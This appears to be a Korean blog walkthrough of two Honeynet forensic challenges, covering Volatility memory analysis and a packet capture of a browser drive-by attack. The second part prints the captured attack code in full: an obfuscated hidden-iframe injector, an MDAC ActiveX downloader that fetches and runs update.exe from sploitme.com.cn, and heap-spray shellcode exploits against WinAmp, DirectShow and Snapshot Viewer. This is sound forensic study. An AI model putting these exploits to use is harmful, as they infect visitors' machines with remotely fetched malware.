그리고 PID가 1752인 프로세스와 관련된 파일을 검색하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


D:\Security Tools\Forensic\Volatility-1.3_Beta>c:\Python27\python.exe volatility files -p 1752 -f Bob.vmem
Pid: 1752
File \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File \lsarpc
File \DOCUME~1\ADMINI~1\LOCALS~1\Temp\Acr107.tmp
File \DOCUME~1\ADMINI~1\LOCALS~1\Temp\Acr106.tmp
File \Program Files\Adobe\Acrobat 6.0\Resource\Font
File \Program Files\Adobe\Acrobat 6.0\Resource\CMap
File \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File \DOCUME~1\ADMINI~1\LOCALS~1\Temp\Acr10C.tmp
File \DOCUME~1\ADMINI~1\LOCALS~1\Temp\plugtmp\PDF.php
File \Program Files\Adobe\Acrobat 6.0\Reader\Messages\ENU\RdrMsgENU.pdf
File \DOCUME~1\ADMINI~1\LOCALS~1\Temp\Acr110.tmp
File \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File \Documents and Settings\Administrator\Application Data\AdobeUM
File \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File \Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
File \Documents and Settings\Administrator\Cookies\index.dat
File \Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
File \Endpoint
File \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File \ROUTER
File \ROUTER
File \Endpoint
File \AsyncConnectHlp

위 목록에서 DOCUME~1\ADMINI~1\LOCALS~1\Temp\plugtmp\PDF.php 경로의 파일을 확인할 수 있다.

Q8. If any suspicious files can be extracted from an injected process, do any anti-virus products pick up the suspicious executable? What is the general result from anti-virus products? (6pts)

파일이 추출이 가능한가? 음.

레지스트리는 Volatility 플러그인을 이용하여 풀 수 있다. 아래 경로에서 Memory Registry Tools 을 받도록 하자. http://moyix.blogspot.com/2009/01/memory-registry-tools.html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75


D:\Security Tools\Forensic\Volatility>c:\Python27\python.exe volatility hivescan -f Bob.vmem
Offset (hex)
44658696 0x2a97008
44686176 0x2a9db60
48529416 0x2e48008
55269896 0x34b5a08
57399112 0x36bd748
59082008 0x3858518
70588752 0x4351950
111029088 0x69e2b60
114539360 0x6d3bb60
121604960 0x73f8b60
180321120 0xabf7b60
191408992 0xb68ab60
244959264 0xe99c820

D:\Security Tools\Forensic\Volatility>c:\Python27\python.exe volatility hivelist -f Bob.vmem -o 0x2a97008
Address Name
0xe1d6cb60 \Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1de0b60 \Documents and Settings\Administrator\NTUSER.DAT
0xe1769b60 \Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe17deb60 \Documents and Settings\LocalService\NTUSER.DAT
0xe1797b60 \Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe17a3820 \Documents and Settings\NetworkService\NTUSER.DAT
0xe1526748 \WINDOWS\system32\config\software
0xe15a3950 \WINDOWS\system32\config\default
0xe151ea08 \WINDOWS\system32\config\SAM
0xe153e518 \WINDOWS\system32\config\SECURITY
0xe139d008 [no name]
0xe1035b60 \WINDOWS\system32\config\system
0xe102e008 [no name]

D:\Security Tools\Forensic\Volatility>c:\Python27\python.exe volatility printkey -f Bob.vmem -o 0xe1526748 "Microsoft\Windows NT\CurrentVersion\Winlogon"
Key name: Winlogon (Stable)
Last updated: Sun Feb 28 05:12:34 2010

Subkeys:
 GPExtensions (Stable)
 Notify (Stable)
 SpecialAccounts (Stable)
 Credentials (Volatile)

Values:
REG_DWORD AutoRestartShell : 1 (Stable)
REG_SZ DefaultDomainName : BOB-DCADFEDC55C (Stable)
REG_SZ DefaultUserName : Administrator (Stable)
REG_SZ LegalNoticeCaption : (Stable)
REG_SZ LegalNoticeText : (Stable)
REG_SZ PowerdownAfterShutdown : 0 (Stable)
REG_SZ ReportBootOk : 1 (Stable)
REG_SZ Shell : Explorer.exe (Stable)
REG_SZ ShutdownWithoutLogon : 0 (Stable)
REG_SZ System : (Stable)
REG_SZ Userinit : C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\sdra64.exe, (Stable)
REG_SZ VmApplet : rundll32 shell32,Control_RunDLL "sysdm.cpl" (Stable)
REG_DWORD SfcQuota : 4294967295 (Stable)
REG_SZ allocatecdroms : 0 (Stable)
REG_SZ allocatedasd : 0 (Stable)
REG_SZ allocatefloppies : 0 (Stable)
REG_SZ cachedlogonscount : 10 (Stable)
REG_DWORD forceunlocklogon : 0 (Stable)
REG_DWORD passwordexpirywarning : 14 (Stable)
REG_SZ scremoveoption : 0 (Stable)
REG_DWORD AllowMultipleTSSessions : 1 (Stable)
REG_EXPAND_SZ UIHost : logonui.exe (Stable)
REG_DWORD LogonType : 1 (Stable)
REG_SZ Background : 0 0 0 (Stable)
REG_SZ AutoAdminLogon : 0 (Stable)
REG_SZ DebugServerCommand : no (Stable)
REG_DWORD SFCDisable : 0 (Stable)
REG_SZ WinStationsDisabled : 0 (Stable)
REG_DWORD HibernationPreviouslyEnabled : 1 (Stable)
REG_DWORD ShowLogonOptions : 0 (Stable)
REG_SZ AltDefaultUserName : Administrator (Stable)
REG_SZ AltDefaultDomainName : BOB-DCADFEDC55C (Stable)

Challenge 2 of the Forensic Challenge 2010 - browsers under attack

Wed, 16 Mar 2011 17:16:43 +0000

두번째 문제이다. 이번 문제는 평소에 자주 분석하던 유형의 문제라 재밌게 푼거 같다. URL : http://www.honeynet.org/challenges/2010_2_browsers_under_attack

Q1. List the protocols found in the capture. What protocol do you think the attack is/are based on? (2pts)

전체 패킷이 745개 이며 이중 553개가 TCP 프로토콜이며 이중 126개가 HTTP 프로토콜이다. 따라서 HTTP를 통해 공격이 이루어 졌을것으로 보인다. 확인은 Wireshark에서 "Protocol Hierarchy" 메뉴를 통해 확인할 수 있다.

Q2. List IPs, hosts names / domain names. What can you tell about it - extrapolate? What to deduce from the setup? Does it look like real situations? (4pts)

음?

Q3. List all the web pages. List those visited containing suspect and possibly malicious javascript and who's is connecting to it? Briefly describe the nature of the malicious web pages (6pts)

해당 덤프에서 접속한 기록이 있는 URL 리스트는 아래와 같다.

rapidshare.com.eyu32.ru sploitme.com.cn www.honeynet.org www.google-analytics.com www.google.com www.google.fr clients1.google.fr shop.honeynet.sg

이 중 rapidshare.com.eyu32.ru/login.php 페이지 소스 중 아래와 같은 코드가 포함되어 있다.

1

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('q.r(s("%h%0%6%d%e%7%1%8%9%d%3%4%a%5%2%2%i%j%b%b%9%i%c%k%0%2%7%1%l%3%k%7%l%3%m%b%t%3%c%0%3%u%4%v%6%1%f%w%e%x%f%y%6%a%z%0%g%2%5%4%n%8%5%1%0%A%5%2%4%n%8%9%2%o%c%1%4%a%B%0%9%0%f%0%c%0%2%o%j%8%5%0%g%g%1%m%a%p%h%b%0%6%d%e%7%1%p%C"));',39,39,'69|65|74|63|3D|68|66|6D|20|73|22|2F|6C|72|61|62|64|3C|70|3A|6F|2E|6E|31|79|3E|document|write|unescape|3F|6B|33|35|36|32|77|67|76|0A'.split('|'),0,{}));

이 코드를 풀면 아래와 같이 나오게 된다.

1

<iframe src="http://sploitme.com.cn/?click=3feb5a6b2f"width=1 height=1 style="visibility: hidden"></iframe>

해당 페이지로 인해 http://sploitme.com.cn/?click=3feb5a6b2f 페이지로 접속하게 된다. 접속을 하면 없는 302 에러가 나며 해당 요청은 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


GET /?click=3feb5a6b2f HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://rapidshare.com.eyu32.ru/login.php
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: sploitme.com.cn
Connection: Keep-Alive

HTTP/1.1 302 Found
Date: Tue, 02 Feb 2010 19:05:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.6
Cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Location: http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Location으로 인해 http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f URL로 이동하게 되며 해당 페이지 소스는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<meta name="robots" content="noindex">
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /fg/show.php?s=3feb5a6b2f was not found on this server.</p>

<script language='JavaScript'>
<!--
var CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179201185191214128142198189161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122130170144210184211201104140130146180175229195190106168156188190222191174168172129166183128168223196152151163160115168188171223176122132193157158179228189189118165157155187151203194176156153191153191181201159152151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155189192158201140173203143179205192190172157139168137136206189190219110143132137119190164209214143137190122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155188222212202162111204165121191162182211157132166136175186200176168158129166183128190164176151142104185178161184222161203125128135168122175222205187102171172155170204201175152130137154149119200184180211152142168175170152195217178137170139156121171162195153156165172150179156216194152110121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215189173130191124190191201158214126161182137157168187221176158111191157192158236203174110105158177137212213174160163144170149173190201218207154122130187145211187163176158170160156159183225182213127158180176153219212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151187213204211207174144170136188200223192225152125139184170151200191193141158130147155149219183186126166183118145209214178189174152187133119200224192211132105131175169173192214204104128190167143187235204208119163171154191223204190219110156163179121190202179206153142156182171172171215200140174190147154201225206175135173161172127219213157169168152132175119199201191220142104139183147210192223179103144192143121221232195190134171181138175220194156188110131165166126201223176224126125172179169172200223192140103190147154201163205174135158182138156218204194207161128204183180201201159209153125190185169206180174202162140186167142187194181174109169180172179156214215173174127154140128199224192218151122198115170211222161202159103200143178179235196190123102172152128206211215189159154149171188176202155209142142164173168168218214178141170139134180209223181170123175157155187149213216211108153188116189177221184224143141152115161186171211200162140188167138205231182170152164157155120207203194185159151149171179176202222160155135194179161206217210202158162137167143175167207154126111180188124169213215189157154153153151190223218211142105163178169206233216177174173192141192209171195153123102171117174212204189211108156170115146198201195214126142155179172152196227204141170203147158157231188153139102166117145214204193181101129149166181177185158215155141160171171172192217178124139194168122150171173212161163157134141222189194219101153192175126200220155221129161182175171170171211200162140188167138205231182170152164157155120207203194185159151149171179176202222160155135194179161206217210202158162137167143175167207154126111180188124173204194185133143191179179190165187214151159190124160151184154192103157193157154209169208191101129181176157149214194177170127154140126203195218212153141135173171172222224201158120154165192205218181191169104171155144204213228152121153191153175201185192183128125151182145150214190192104128194166143182231191153157162180138190211189190219103143170140174199236155171152163168171171172200186178124123197141119171183190151135121158175149149213215189157152165166183180165196207152159148175151189191223185140107132164159175232204212102162180177152212188155169174152132145179200165183213128138198117160189187209204124158203147158154163204174172109182176141222187177177165152188116179177221214151143141130178145150196176187139119192142154216224194173172164157117161213212177189170143169116179180165188224154142198119168173187163201162140133140141205192190172157102182139137184204194173102144170145119176181213158155135194173160189196212200120158190142159217162205213161109183138175222194193156161154203133137190165188215153163168156155151188219193140132130142138201192203190131175180118149219204216184170141151116148184184188188138121181179150152162181192103124130156121204225196186161109183138175222194193156161154203133137190165188215153163168156155151188219193140132130142138201192191152157132166135144218199156189174154191153192188183155180136124164152156168213218182104103139134180209223181170123106179139144213213215189101154170141188176182171215132105186178170206167224202124140199142138201186188189134164158139157222212178185171144191175186191197226212142141202189161184221181204124158203143181179222204212134165180177157216212173210108154191137192174185196215151125168173169151167154193140107130147159205225205208106175172155149220212156156175144167141189191186213158151175135152172189180214183137123137165192154192204153135162162151148156212227156133153153153188176181213158151175135155170210222154193136158191164158221222195153110171182138157218214173210108152203120155190202196211139125139138168188234214178124128194165176220235181187169176158175145150212211207158151169119186178181213158155135194176171188167212203124162200165176167230196174123160157134179156214215173174127153174128178182222153142142155170169151188219193140132130166193150231196191152157163155145222203194210164128133183138183182213153134176167116149206162156181138123204143155170234188171118170161151174223195189151172131151144190179183196171130160190137148223204163177174173192168119175183185187143122160151156151190190192102135166144187178198176172130121130120150169192172179137119201148193166162188210130175161152156223192216151163130149167126182199179156134161160137153170195222185138131133149154149162184151138174158151178223191212176169136150149137178220175222131160151118148185183156205136153197141122216233183171118104164173136223191227151172131150132190177198171222130122147183152223179225180120102201144139166233183171118173159135136220192174193110128203186181202236171222130122172138148169192172179137119201144139166230183171118173159134120169191174168172130166132190178182171222130122147186148169179154181163102192143138201169184212138176159173136152191177172169132204156121191181154151143141167117147185217157182140131198157142178234196212122107159154152222204215180175156165166186175165221153131122151115149185183227184158103149146155200166182187134103159152152217195190169122133149116142182162196172135160159189153185217228180101132139141192220224207225153125160152144152196212192175130167156190179221195219131122159189148184162158184137127132143155178236185188138173159115148220195191188175136154115181177181206158130122171118148207192176180121161198149177183182183208101102159117148153190190206175132166170187178182214174134102163187153170187225181175143132169154200229180154168104159189179172192228176102136187115191182220180172129138163119148223183222184137162153149138149166184225134106160135170151193174176172131166133128175235225213154102156133148169183158181137161135143155171183187209130170160135153210193189151105131130140119177198187153130138163116149170191158181122128153146143149224182170153109164135137169191174203122132166156187179162183153132137130115148149203226179138127130148155166230183209139125160152140221191191193119135188136124203197205218127105198137150170192174184101136151149176150182187187126106158151152154192215176169135188132120178181154153134176147118152223221156180159135133145178175171180224173171182154191216189190219104151153175186191197210221142163194175160152196228190103162182142159217164195191126157171151120218214193223168133132175180176185163208150163168173171173192204200139102199166122187219205154135175179154124211189174168168131165174128181197206158127175190122160185163213201103132131165158187231206170106160181176157205214177189123152153153187191201159151128121182185160210226214192104135192142155217218182213131162182136141149214178177165143192153119191197209213142104202171170152192218193120153197141121179229205153161161161172170215212156177166144169145119200163222215141137135189171188188228203125128194165180200225183186173172171176183209203157185175141132175171177223226211151163182115168168162226178136161137169158187229205153139109182139145154215156172110152191153122174183176209153125190117161187218186192162166190156122182225204153127167172154149149213155219165142165174126203201184207153125160178146172199218204104103139134180209223181174122166183118153222215194219103143170140174190220155171152163168171171172200186178124123197141120201198195154127166181139152218199156207161152153186181176198222215143159186172146189230218193158158154165192205218181186161109179154160212195156207161143132183145186181209215128142198135169151163225201124140130157154204226185154102162180139149209215154181171152170133186191202188211128121189122173182226227193141136131166180153217206175127103172151187158216194152159143170149177198181210211128142198124173182226218178174169137169152213182204153102173180138157149204189206165133133115146199201188207142175185179150220175167'));
//-->
</script>
<noscript></noscript>
</body></html>

이 코드를 풀면 래와 같은 코드가 나온다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


function Complete(){setTimeout('location.href = "about:blank',2000);}
function CheckIP(){var req=null;try{req=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new XMLHttpRequest();}catch(e){}}}
if(req==null)return"0";req.open("GET","/fg/show.php?get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1"){return true;}else{return false;}}
var urltofile='http://sploitme.com.cn/fg/load.php?e=1';var filename='update.exe';function CreateO(o,n){var r=null;try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,'')}catch(e){}}
if(!r){try{r=o.CreateObject(n,'','')}catch(e){}}
if(!r){try{r=o.GetObject('',n)}catch(e){}}
if(!r){try{r=o.GetObject(n,'')}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return r;}
function Go(a){var s=CreateO(a,'WScript.Shell');var o=CreateO(a,'ADODB.Stream');var e=s.Environment('Process');var xhr=null;var bin=e.Item('TEMP')+'\\'+filename;try{xhr=new XMLHttpRequest();}
catch(e){try{xhr=new ActiveXObject('Microsoft.XMLHTTP');}
catch(e){xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');}}
if(!xhr)return(0);xhr.open('GET',urltofile,false)
xhr.send(null);var filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.SaveToFile(bin,2);s.Run(bin,0);}
function mdac(){var i=0;var objects=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null);while(objects[i]){var a=null;if(objects[i].substring(0,1)=='{'){a=document.createElement('object');a.setAttribute('classid','clsid:'+objects[i].substring(1,objects[i].length-1));}else{try{a=new ActiveXObject(objects[i]);}catch(e){}}
if(a){try{var b=CreateO(a,'WScript.Shell');if(b){if(Go(a)){if(CheckIP()){Complete();}else{Complete();}
return true;}}}catch(e){}}
i++;}
Complete();}
mdac();

위 코드는 MS06-014 취약점을 이용하여 http://sploitme.com.cn/fg/load.php?e=1 파일을 다운로드 하여 update.exe 파일로 저장 후 실행하는 코드로 보인다.

추가로 아래쪽 패킷을 보면 http://sploitme.com.cn/fg/show.php?s=84c090bd86 로 접근한 이력도 있다. 해당 페이지 코드는 위 코드에서 좀 더 많은 취약점이 추가되어 있다. 우선 난독화를 해제하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


function Complete(){setTimeout('location.href = "about:blank',2000);}
function CheckIP(){var req=null;try{req=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new XMLHttpRequest();}catch(e){}}}
if(req==null)return"0";req.open("GET","/fg/show.php?get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1"){return true;}else{return false;}}
var urltofile='http://sploitme.com.cn/fg/load.php?e=1';var filename='update.exe';function CreateO(o,n){var r=null;try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,'')}catch(e){}}
if(!r){try{r=o.CreateObject(n,'','')}catch(e){}}
if(!r){try{r=o.GetObject('',n)}catch(e){}}
if(!r){try{r=o.GetObject(n,'')}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return r;}
function Go(a){var s=CreateO(a,'WScript.Shell');var o=CreateO(a,'ADODB.Stream');var e=s.Environment('Process');var xhr=null;var bin=e.Item('TEMP')+'\\'+filename;try{xhr=new XMLHttpRequest();}
catch(e){try{xhr=new ActiveXObject('Microsoft.XMLHTTP');}
catch(e){xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');}}
if(!xhr)return(0);xhr.open('GET',urltofile,false)
xhr.send(null);var filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.SaveToFile(bin,2);s.Run(bin,0);}
function mdac(){var i=0;var objects=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null);while(objects[i]){var a=null;if(objects[i].substring(0,1)=='{'){a=document.createElement('object');a.setAttribute('classid','clsid:'+objects[i].substring(1,objects[i].length-1));}else{try{a=new ActiveXObject(objects[i]);}catch(e){}}
if(a){try{var b=CreateO(a,'WScript.Shell');if(b){if(Go(a)){if(CheckIP()){Complete();}else{aolwinamp();}
return true;}}}catch(e){}}
i++;}
aolwinamp();}
function aolwinamp(){try{var obj=document.createElement('object');document.body.appendChild(obj);obj.id='IWinAmpActiveX';obj.width='1';obj.height='1';obj.data='./directshow.php';obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u333D");var bigblock=unescape("%u0c0c%u0c0c");var headersize=20;var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;var fillblock=bigblock.substring(0,slackspace);var block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;var memory=new Array();for(var i=0;i<666;i++){memory[i]=block+shellcode;}
document.write('<SCRIPT language="VBScript">');document.write('bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('</SCRIPT>');}catch(e){}
directshow();}
function directshow(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u343D");var bigblock=unescape("%u9090%u9090");var headersize=20;var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;var fillblock=bigblock.substring(0,slackspace);var block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000){block=block+block+fillblock;}
var memory=new Array();for(var i=0;i<350;i++){memory[i]=block+shellcode;}
try{var obj=document.createElement('object');document.body.appendChild(obj);obj.width='1';obj.height='1';obj.data='./directshow.php';obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';setTimeout("if (CheckIP()){ Complete(); } else { snapshot(); }",1000);}catch(e){snapshot();}}
function snapshot(){var x;var obj;var mycars=new Array();mycars[0]='c:/Program Files/Outlook Express/wab.exe';mycars[1]='d:/Program Files/Outlook Express/wab.exe';mycars[2]='e:/Program Files/Outlook Express/wab.exe';try{var obj=new ActiveXObject('snpvw.Snapshot Viewer Control.1');}catch(e){try{var obj=document.createElement('object');obj.setAttribute('classid','clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9');obj.setAttribute('id','obj');obj.setAttribute('width','1');obj.setAttribute('height','1');document.body.appendChild(obj);}catch(e){}}
try{if(obj='[object]'){for(x in mycars){obj=new ActiveXObject('snpvw.Snapshot Viewer Control.1');var buf=mycars[x];obj.Zoom=0;obj.ShowNavigationButtons=false;obj.AllowContextMenu=false;obj.SnapshotPath='http://sploitme.com.cn/fg/load.php?e=6';try{obj.CompressedPath=buf;obj.PrintSnapshot();var snpelement=document.createElement('iframe');snpelement.setAttribute('id','snapiframe');snpelement.setAttribute('src','about:blank');snpelement.setAttribute('width',1);snpelement.setAttribute('height',1);snpelement.setAttribute('style','display:none;');document.body.appendChild(snpelement);setTimeout("document.getElementById('snapiframe').src = 'ldap://';",3000);}catch(e){}}}}catch(e){}
com();}
